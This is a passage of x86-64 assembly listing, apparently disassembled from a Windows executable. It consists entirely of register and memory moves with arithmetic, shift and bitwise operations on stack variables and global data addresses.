mov rcx, qword [rsp + 0x4c58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4fb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a5c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b00], eax
movsx eax, word [rsp + 0x86c]
mov rcx, qword [rsp + 0x4ec0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14011302c], ax
lea rax, [rsp + 0x3d]
mov qword [rsp + 0x5068], rax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8b4], ax
lea rax, [rsp + 0x848]
mov qword [rsp + 0x5070], rax
movzx eax, byte [rsp + 0x3c]
mov rcx, qword [rsp + 0x4cc0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x41], al
lea rax, [rsp + 0x4ce8]
mov qword [rsp + 0x5078], rax
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4e78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4b40]
mov rcx, qword [rsp + 0x4fb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov dword [rcx], eax
lea rax, [rsp + 0x2ae4]
mov qword [rsp + 0x5080], rax
movzx eax, word [rsp + 0x85c]
movzx ecx, word [rsp + 0x884]
add eax, ecx
mov word [0x140113020], ax
movsx eax, byte [rsp + 0x3e]
movsx ecx, byte [0x140114157]
sub eax, ecx
mov byte [rsp + 0x32], al
lea rax, [rsp + 0x8ac]
mov qword [rsp + 0x5088], rax
movsx eax, word [rsp + 0x88c]
mov rcx, qword [rsp + 0x4ec0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f98]
mov word [rcx], ax
mov rax, qword [rsp + 0x5048]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x44]
xor eax, ecx
mov rcx, qword [rsp + 0x4ed0]
mov byte [rcx], al
mov eax, dword [rsp + 0x29d8]
mov dword [rsp + 0x2b30], eax
mov eax, dword [rsp + 0x2a4c]
mov rcx, qword [rsp + 0x4ee8]
mov qword [rsp + 0x5090], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5090]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2ae4], eax
lea rax, [0x140114160]
mov qword [rsp + 0x5098], rax
mov rax, qword [rsp + 0x4db8]
mov rcx, qword [rsp + 0x4c00]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5000], rax
movzx eax, word [rsp + 0x880]
mov word [0x1401141bc], ax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
mov rcx, qword [0x1401141a0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x43], al
lea rax, [rsp + 0x88c]
mov qword [rsp + 0x50a0], rax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
and eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
lea rax, [rsp + 0x3b]
mov qword [rsp + 0x50a8], rax
mov rax, qword [rsp + 0x5078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5040]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4fc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f50]
mov rcx, qword [rsp + 0x4ff8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b20], eax
lea rax, [rsp + 0x5030]
mov qword [rsp + 0x50b0], rax
mov eax, dword [rsp + 0x2a4c]
mov ecx, dword [0x140114150]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bb0]
mov dword [rcx], eax
lea rax, [rsp + 0x88c]
mov qword [0x1401141c0], rax
movzx eax, byte [rsp + 0x3a]
mov byte [rsp + 0x4c], al
movzx eax, byte [rsp + 0x4c]
mov rcx, qword [rsp + 0x5020]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3a], al
lea rax, [rsp + 0x32]
mov qword [rsp + 0x50b8], rax
movsx eax, word [rsp + 0x86c]
movsx ecx, word [rsp + 0x878]
and eax, ecx
mov word [rsp + 0x8b4], ax
mov rax, qword [rsp + 0x5040]
mov rcx, qword [rsp + 0x4ba0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ef8], rax
mov rax, qword [rsp + 0x5060]
mov eax, dword [rax]
mov dword [rsp + 0x2b34], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2af0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov dword [rcx], eax
lea rax, [0x140114160]
mov qword [rsp + 0x50c0], rax
mov rax, qword [rsp + 0x4fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140114198]
mov word [rcx], ax
mov rax, qword [rsp + 0x5088]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x89c]
sub eax, ecx
mov word [rsp + 0x864], ax
movsx eax, word [0x14011301c]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x8a8], ax
lea rax, [rsp + 0x32]
mov qword [rsp + 0x50c8], rax
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
movzx ecx, word [section..data]
or eax, ecx
mov word [rsp + 0x8ac], ax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov qword [rsp + 0x50d0], rax
mov rax, qword [rsp + 0x4d60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2af8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5028]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b08]
mov rcx, qword [rsp + 0x4d78]
mov qword [rsp + 0x50d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x50d8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4c60]
mov dword [rcx], eax
lea rax, [rsp + 0x4fc8]
mov qword [rsp + 0x50e0], rax
lea rax, [rsp + 0x31]
mov qword [0x1401141c8], rax
movzx eax, byte [rsp + 0x33]
movzx ecx, byte [rsp + 0x34]
and eax, ecx
mov byte [rsp + 0x35], al
mov rax, qword [0x140114168]
movzx eax, byte [rax]
mov byte [rsp + 0x4d], al
movsx eax, word [rsp + 0x8a4]
mov rcx, qword [rsp + 0x4eb8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f98]
mov word [rcx], ax
movzx eax, word [rsp + 0x864]
mov rcx, qword [rsp + 0x4de0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5088]
mov word [rcx], ax
lea rax, [rsp + 0x2b1c]
mov qword [rsp + 0x50e8], rax
mov rax, qword [rsp + 0x4f38]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4e60], rax
lea rax, [rsp + 0x4cb8]
mov qword [rsp + 0x50f0], rax
mov rax, qword [rsp + 0x4bb0]
mov ecx, dword [0x140114150]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29bc], eax
lea rax, [rsp + 0x39]
mov qword [rsp + 0x50f8], rax
lea rax, [rsp + 0x84c]
mov qword [0x1401141d0], rax
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
movzx ecx, word [section..data]
add eax, ecx
mov word [rsp + 0x8a0], ax
movzx eax, byte [rsp + 0x34]
movzx ecx, byte [rsp + 0x44]
and eax, ecx
mov rcx, qword [rsp + 0x4e00]
mov byte [rcx], al
lea rax, [rsp + 0x8a8]
mov qword [rsp + 0x5100], rax
mov rax, qword [rsp + 0x4f50]
mov rcx, qword [rsp + 0x5028]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2958], eax
lea rax, [rsp + 0x2b10]
mov qword [rsp + 0x5108], rax
mov rax, qword [rsp + 0x4c58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4c00], rax
mov rax, qword [rsp + 0x5048]
movzx eax, byte [rax]
mov byte [rsp + 0x4e], al
mov rax, qword [rsp + 0x50b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3e]
or eax, ecx
mov rcx, qword [0x140114178]
mov byte [rcx], al
movsx eax, word [rsp + 0x860]
movsx ecx, word [0x14011302c]
xor eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov word [rcx], ax
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x5110], rax
movsx eax, byte [rsp + 0x46]
mov rcx, qword [rsp + 0x50b8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x47], al
mov rax, qword [rsp + 0x4c58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x50c0]
mov qword [rsp + 0x5118], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5118]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4e70]
mov qword [rcx], rax
lea rax, [rsp + 0x29bc]
mov qword [rsp + 0x5120], rax
mov rax, qword [rsp + 0x4fc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e60]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b1c]
mov dword [rsp + 0x2b38], eax
mov rax, qword [rsp + 0x4f30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e]
add eax, ecx
mov rcx, qword [rsp + 0x4f88]
mov byte [rcx], al
movsx eax, word [rsp + 0x840]
mov rcx, qword [rsp + 0x4f98]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140113004], ax
movzx eax, word [rsp + 0x888]
mov word [rsp + 0x8b8], ax
mov rax, qword [rsp + 0x50a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5050]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
movzx eax, word [rsp + 0x894]
mov rcx, qword [rsp + 0x4fa8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5088]
mov word [rcx], ax
mov eax, dword [rsp + 0x2af0]
mov dword [rsp + 0x2b3c], eax
mov rax, qword [rsp + 0x4fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50f0]
mov qword [rcx], rax
lea rax, [rsp + 0x4e40]
mov qword [rsp + 0x5128], rax
mov rax, qword [rsp + 0x4fe8]
mov ecx, dword [rsp + 0x2b10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b0c], eax
movsx eax, byte [rsp + 0x3d]
movsx ecx, byte [rsp + 0x3b]
and eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5048]
movzx eax, byte [rax]
mov rcx, qword [0x1401141c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140113013], al
movzx eax, word [rsp + 0x8a0]
mov word [rsp + 0x8bc], ax
movsx eax, word [rsp + 0x86c]
movsx ecx, word [rsp + 0x8b4]
or eax, ecx
mov rcx, qword [rsp + 0x50a0]
mov word [rcx], ax
lea rax, [rsp + 0x89c]
mov qword [rsp + 0x5130], rax
movzx eax, byte [rsp + 0x3c]
movzx ecx, byte [rsp + 0x36]
xor eax, ecx
mov byte [rsp + 0x44], al
mov rax, qword [rsp + 0x4c58]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4cb8]
shl rax, cl
mov qword [rsp + 0x4f70], rax
mov rax, qword [rsp + 0x4eb0]
mov qword [rsp + 0x5138], rax
mov eax, dword [rsp + 0x2b1c]
movzx ecx, al
mov eax, dword [rsp + 0x2b00]
shr eax, cl
mov dword [rsp + 0x2af8], eax
lea rax, [rsp + 0x2b28]
mov qword [rsp + 0x5140], rax
movsx eax, word [rsp + 0x860]
mov rcx, qword [0x140114180]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140113014], ax
mov rax, qword [rsp + 0x4cd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50a8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x50c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4fa8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5070]
mov word [rcx], ax
lea rax, [rsp + 0x870]
mov qword [rsp + 0x5148], rax
mov rax, qword [rsp + 0x50b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4a]
sub eax, ecx
mov byte [rsp + 0x4d], al
lea rax, [rsp + 0x2af0]
mov qword [rsp + 0x5150], rax
mov rax, qword [rsp + 0x4d58]
mov ecx, dword [0x140114150]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b34], eax
lea rax, [rsp + 0x4cd0]
mov qword [rsp + 0x5158], rax
mov rax, qword [rsp + 0x4da0]
mov rcx, qword [rsp + 0x4f18]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4e08], rax
lea rax, [rsp + 0x35]
mov qword [0x1401141d8], rax
mov rax, qword [0x140114178]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x30]
add eax, ecx
mov rcx, qword [rsp + 0x4f40]
mov byte [rcx], al
lea rax, [rsp + 0x860]
mov qword [rsp + 0x5160], rax
mov rax, qword [rsp + 0x5160]
movsx eax, word [rax]
movsx ecx, word [0x140113028]
sub eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f58]
movzx eax, byte [rax]
mov byte [rsp + 0x4f], al
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4e98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5158]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5108]
mov rcx, qword [rsp + 0x4d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b2c], eax
lea rax, [rsp + 0x2b30]
mov qword [rsp + 0x5168], rax
mov rax, qword [rsp + 0x50f0]
mov rcx, qword [rsp + 0x4ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x50b0]
mov qword [rcx], rax
lea rax, [rsp + 0x894]
mov qword [0x1401141e0], rax
movzx eax, word [rsp + 0x890]
mov word [rsp + 0x8c0], ax
movsx eax, byte [rsp + 0x40]
movsx ecx, byte [rsp + 0x38]
sar eax, cl
mov byte [rsp + 0x37], al
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4cc0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4f], al
lea rax, [0x140113010]
mov qword [rsp + 0x5170], rax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2a88]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x50e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ee0]
mov eax, dword [rax]
mov dword [rsp + 0x2b40], eax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [0x140114160]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b20], rax
mov rax, qword [rsp + 0x5138]
mov qword [rsp + 0x5178], rax
lea rax, [rsp + 0x4e]
mov qword [0x1401141e8], rax
movzx eax, word [rsp + 0x880]
mov rcx, qword [rsp + 0x5070]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4fa8]
mov word [rcx], ax
movsx eax, word [rsp + 0x858]
movsx ecx, word [rsp + 0x86c]
and eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
mov rax, qword [rsp + 0x5050]
movzx eax, byte [rax]
mov byte [rsp + 0x50], al
movsx eax, word [rsp + 0x8b4]
movsx ecx, word [rsp + 0x8c0]
sub eax, ecx
mov rcx, qword [rsp + 0x5100]
mov word [rcx], ax
lea rax, [rsp + 0x4fa0]
mov qword [rsp + 0x5180], rax
mov rax, qword [rsp + 0x4d78]
mov rcx, qword [rsp + 0x4ee8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5060]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2a5c]
mov ecx, dword [rsp + 0x2b20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a98], eax
mov rax, qword [rsp + 0x4c00]
mov qword [rsp + 0x5188], rax
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x888]
sub eax, ecx
mov rcx, qword [0x140114188]
mov word [rcx], ax
movzx eax, byte [rsp + 0x45]
mov rcx, qword [rsp + 0x5110]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4f30]
mov byte [rcx], al
mov rax, qword [rsp + 0x50a8]
movzx eax, byte [rax]
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x50a8]
mov byte [rcx], al
movzx eax, word [0x140113024]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x89c], ax
mov eax, dword [rsp + 0x29bc]
mov dword [rsp + 0x2b44], eax
mov rax, qword [rsp + 0x4da0]
mov rcx, qword [rsp + 0x50b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c90]
mov qword [rcx], rax
lea rax, [rsp + 0x4e60]
mov qword [rsp + 0x5190], rax
mov rax, qword [rsp + 0x4dd8]
mov ecx, dword [rsp + 0x2afc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4f58]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140113016], al
mov rax, qword [rsp + 0x5130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4e88]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x50b8]
movzx eax, byte [rax]
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x4ed0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e00]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4f30]
mov byte [rcx], al
movzx eax, word [rsp + 0x8a8]
mov word [rsp + 0x8c4], ax
mov rax, qword [rsp + 0x50e0]
mov rcx, qword [rsp + 0x4c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4b78], rax
mov eax, dword [rsp + 0x2ae0]
mov dword [rsp + 0x2b48], eax
mov rax, qword [rsp + 0x4f38]
mov rcx, qword [rsp + 0x5078]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5138], rax
mov rax, qword [rsp + 0x4bb0]
mov ecx, dword [rsp + 0x2a3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ae8], eax
movzx eax, byte [rsp + 0x34]
movzx ecx, byte [0x140113003]
and eax, ecx
mov rcx, qword [0x1401141d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f60]
movzx eax, byte [rax]
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4ef0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x868], ax
mov rax, qword [rsp + 0x4ef0]
movzx eax, word [rax]
mov word [rsp + 0x8c8], ax
movzx eax, word [rsp + 0x870]
mov rcx, qword [rsp + 0x4de0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e08]
mov rcx, qword [rsp + 0x4b20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e50], rax
lea rax, [rsp + 0x2a3c]
mov qword [rsp + 0x5198], rax
mov rax, qword [rsp + 0x5008]
mov rax, qword [rax]
mov rcx, qword [0x140113008]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f38]
mov qword [rcx], rax
lea rax, [rsp + 0x2b3c]
mov qword [rsp + 0x51a0], rax
mov rax, qword [rsp + 0x5160]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x858]
sub eax, ecx
mov word [rsp + 0x850], ax
movzx eax, byte [rsp + 0x4c]
mov byte [0x1401141ba], al
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x4a]
xor eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
movzx eax, word [rsp + 0x8b8]
mov word [rsp + 0x8cc], ax
movsx eax, word [rsp + 0x878]
movsx ecx, word [rsp + 0x850]
sar eax, cl
mov word [rsp + 0x840], ax
mov eax, dword [rsp + 0x2aec]
mov dword [rsp + 0x2b4c], eax
mov rax, qword [rsp + 0x4bd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4fc0]
mov qword [rsp + 0x51a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x51a8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5178], rax
mov rax, qword [rsp + 0x4ff8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b18]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2af8], eax
mov rax, qword [rsp + 0x4cb8]
mov qword [rsp + 0x51b0], rax
mov rax, qword [rsp + 0x5088]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x874]
and eax, ecx
mov word [rsp + 0x8bc], ax
movsx eax, byte [0x140114155]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140114190]
mov byte [rcx], al
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [0x1401141e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5018]
mov word [rcx], ax
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x50e0]
mov rcx, qword [rsp + 0x4bf8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4fa0], rax
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x2b40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b28], eax
mov eax, dword [rsp + 0x2af4]
mov dword [rsp + 0x2b50], eax
mov rax, qword [rsp + 0x4ff0]
mov rcx, qword [rsp + 0x4db8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5190]
mov qword [rcx], rax
movzx eax, word [rsp + 0x890]
mov word [rsp + 0x8d0], ax
movzx eax, word [rsp + 0x898]
movzx ecx, word [rsp + 0x8ac]
sub eax, ecx
mov word [0x140113030], ax
mov rax, qword [rsp + 0x5020]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35]
sub eax, ecx
mov byte [rsp + 0x49], al
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x48]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
lea rax, [rsp + 0x840]
mov qword [rsp + 0x51b8], rax
mov eax, dword [rsp + 0x2a88]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b50], eax
mov eax, dword [rsp + 0x2b2c]
mov dword [rsp + 0x2b54], eax
mov rax, qword [rsp + 0x4cd0]
movzx ecx, al
mov rax, qword [0x140113008]
shr rax, cl
mov qword [rsp + 0x4eb0], rax
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [rsp + 0x4cb8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5050]
movzx eax, byte [rax]
mov byte [rsp + 0x56], al
movzx eax, byte [rsp + 0x36]
movzx ecx, byte [rsp + 0x3a]
shl eax, cl
mov rcx, qword [0x1401141c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5088]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x894]
xor eax, ecx
mov word [rsp + 0x8a0], ax
lea rax, [0x14011301c]
mov qword [rsp + 0x51c0], rax
movsx eax, byte [rsp + 0x30]
movsx ecx, byte [rsp + 0x56]
and eax, ecx
mov byte [rsp + 0x47], al
lea rax, [rsp + 0x888]
mov qword [rsp + 0x51c8], rax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [0x140113008]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x50d0], rax
mov rax, qword [rsp + 0x50e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f48]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5180]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b14]
mov dword [rsp + 0x2b58], eax
mov rax, qword [rsp + 0x51a0]
mov ecx, dword [rsp + 0x2a88]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
movsx eax, word [rsp + 0x8c8]
mov rcx, qword [rsp + 0x51c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140113034], ax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x51d0], rax
movsx eax, byte [0x140113002]
movsx ecx, byte [rsp + 0x51]
add eax, ecx
mov byte [rsp + 0x3d], al
mov rax, qword [rsp + 0x4f88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e00]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4f], al
mov rax, qword [rsp + 0x50c8]
movzx eax, byte [rax]
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0x5098]
mov rcx, qword [rsp + 0x4e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5128]
mov rax, qword [rax]
mov qword [rsp + 0x51d8], rax
mov eax, dword [rsp + 0x2b2c]
mov ecx, dword [rsp + 0x2b4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b14], eax
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x5028]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5160]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14011301c], ax
lea rax, [rsp + 0x42]
mov qword [rsp + 0x51e0], rax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f40]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4b], al
mov rax, qword [rsp + 0x5148]
movzx eax, word [rax]
mov word [rsp + 0x8d4], ax
movsx eax, word [rsp + 0x860]
movsx ecx, word [rsp + 0x850]
sar eax, cl
mov word [rsp + 0x868], ax
mov rax, qword [rsp + 0x5098]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f18]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5030], rax
mov eax, dword [rsp + 0x2b48]
mov dword [rsp + 0x2b5c], eax
mov rax, qword [rsp + 0x5128]
mov rcx, qword [rsp + 0x5000]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4fc0]
mov qword [rcx], rax
lea rax, [rsp + 0x2b14]
mov qword [rsp + 0x51e8], rax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4de0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140113038], ax
movzx eax, word [rsp + 0x874]
mov rcx, qword [0x140114198]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x848], ax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
mov byte [rsp + 0x58], al
mov rax, qword [rsp + 0x50f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
sub eax, ecx
mov byte [rsp + 0x30], al
movsx eax, word [rsp + 0x86c]
mov rcx, qword [0x1401141a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x51a0]
mov eax, dword [rax]
mov dword [rsp + 0x2b60], eax
mov eax, dword [rsp + 0x2b0c]
mov ecx, dword [rsp + 0x2a20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b40], eax
lea rax, [0x140113008]
mov qword [rsp + 0x51f0], rax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4b80]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4fd8]
mov qword [rcx], rax
lea rax, [rsp + 0x42]
mov qword [0x1401141f0], rax
mov rax, qword [rsp + 0x4bc8]
